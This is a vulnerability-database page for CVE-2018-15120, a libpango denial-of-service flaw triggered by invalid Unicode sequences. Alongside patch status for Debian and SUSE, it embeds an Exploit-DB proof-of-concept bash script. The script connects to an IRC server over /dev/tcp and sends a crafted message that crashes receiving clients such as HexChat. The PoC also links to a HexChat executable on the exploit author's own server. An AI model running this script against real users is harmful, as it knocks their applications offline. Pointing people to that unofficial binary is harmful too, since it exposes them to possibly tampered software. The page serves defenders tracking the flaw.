CVE-2018-15120

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

libpango in Pango 1.40.8 through 1.42.3, as used in hexchat and other products, allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via crafted text with invalid Unicode sequences.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-45263 dos multiple text · 3 KB
Jeffery M · 2018-08-27

Libpango 1.40.8 - Denial of Service (PoC)

text exploit Source: Exploit-DB
# Exploit Title: Libpango 1.40.8 - Denial of Service (PoC)
# Date: 2018-08-06
# Exploit Author: Jeffery M
# Vendor Homepage: https://www.pango.org/
# Software Link: http://ftp.gnome.org/pub/GNOME/sources/pango/1.40/pango-1.40.9.tar.xz
# Version: 1.40.8+
# Tested on: Windows 7, Gentoo
# CVE : CVE-2018-15120

# Patch : https://github.com/GNOME/pango/commit/71aaeaf020340412b8d012fe23a556c0420eda5f

# Description:
# Invalid Unicode sequences, such as 0x2665 0xfe0e 0xfe0f, can trick the
# Emoji iter code into returning an empty segment, which then triggers
# an assertion in the itemizer.

# POC:
# Save the below as irc_com_dump; chmod +x irc_com_dump;connect to an
# irc server with something linked against libpango 1.40.8 or higher
# (e.g. hexchat 2.14.1 [ can be obtained on my server
# http://order.a.whore.website/HexChat%202.14.1%20x86.exe ), then run
# the following:

irc_com_dump $'privmsg someuser :\u2665\uFE0E\uFE0F'

This is a rudimentary example of how this attack can be used.

#!/bin/bash
# Name: irc_com_dump
# Save this script as irc_com_dump
# run as follows on irc.laks.ml or a server of your choice
# irc_com_dump $'privmsg someuser :\u2665\uFE0E\uFE0F'
# When the user receives the message it will trigger the assertion fail.
###
helpfunc ()
{
sed  -nre '/sed/d;/bash/,/###/{1d;s/^# //g;s/###//;p}' $0;

}
if [[ $# -lt 1 ]] || [[ $1 =~ ^-?-h ]] ; then
helpfunc && exit 1
fi


# So we can send unicode without having to do shit.
LC_ALL=en_US.utf8
export LC_ALL


export allargs=("$@")
#test_ping ()
#{
#        if [[ ! -n $PING ]]; then
#       export PING="$(echo $h| awk '/PING/{print "PONG "$2}')";
#       fi;
#}
if [[ -n ${DEBUG} ]] ; then
declare -p allargs
fi

export name=magicrun${RANDOM}
if [[ -n ${NORANDOM} ]] ; then
        export name=magicdebug
fi
run_irc_com ()
{
set -vx
    echo ${allargs[1]}
#    if  ( ( ( [[ ! ${allargs[1]} =~ [a-zA-Z].* ]] || true) && ( [[
${allargs[1]} =~ [0-9].*[0-9] ]] &&  [[ ! ${allargs[0]}  =~ .*[.].*
]] || true) ) )     ; then
if [[ ! ${allargs[0]}  =~ .*[.].* &&  ${allargs[1]} =~ ^[0-9]+[0-9]?$
&& ! ${allargs[1]} =~ .*[a-zA-Z].* || $# -eq 1 ]] ; then
    export COMM="$@";
    else
    export s=$1
    export p=$2
    export COMM="${@:3}"
        if [[ $p =~ .*[a-zA-Z] ]] ; then
                unset s p
                export COMM="${allargs[@]}"
        fi
    fi

    test -z $s||false  && exec 5<> /dev/tcp/irc.laks.ml/6667 || test
-n $s && echo s is $s;exec 5<>/dev/tcp/$s/$p
set +vx
    echo -e 'USER '${name}' 8 ''*'' :'${name}'\nNICK '${name}'\n' 1>&5
2>&1 | stdbuf -i0 -o0 cat - 0<&5 > /dev/stdout | while read h; do
        if [[ ! -n $PING ]]; then
            export PING="$(echo $h| awk '/PING/{print "PONG "$2}')";
        fi;
##      test_ping;
echo -e "${PING}\n" 1>&5
        if [[ ! -n $PINGSENT ]] && [[ -n $PING ]] ; then
            export PINGSENT=isentmyping;
        fi;
        if [[ -z $COMMSENT ]] && [[ -n $PINGSENT ]] && [[ -n $PING ]] ; then
echo -e "${COMM}\nQUIT\n" 1>&5 2>&1
fi
        echo "$h" 2>&1;
    done

}

run_irc_com ${allargs[@]} |& sed -ne "/:$name MODE $name
:+iwx/,/\x04/p" | sed -e "/:$name MODE $name/d" -e '/^ERROR
:Closing/d' | awk -F" $name " '{print $2}'

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
Affected
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 1.42.4-1
sid Fixed 1.42.4-1
forky Fixed 1.42.4-1
bullseye Fixed 1.42.4-1
bookworm Fixed 1.42.4-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.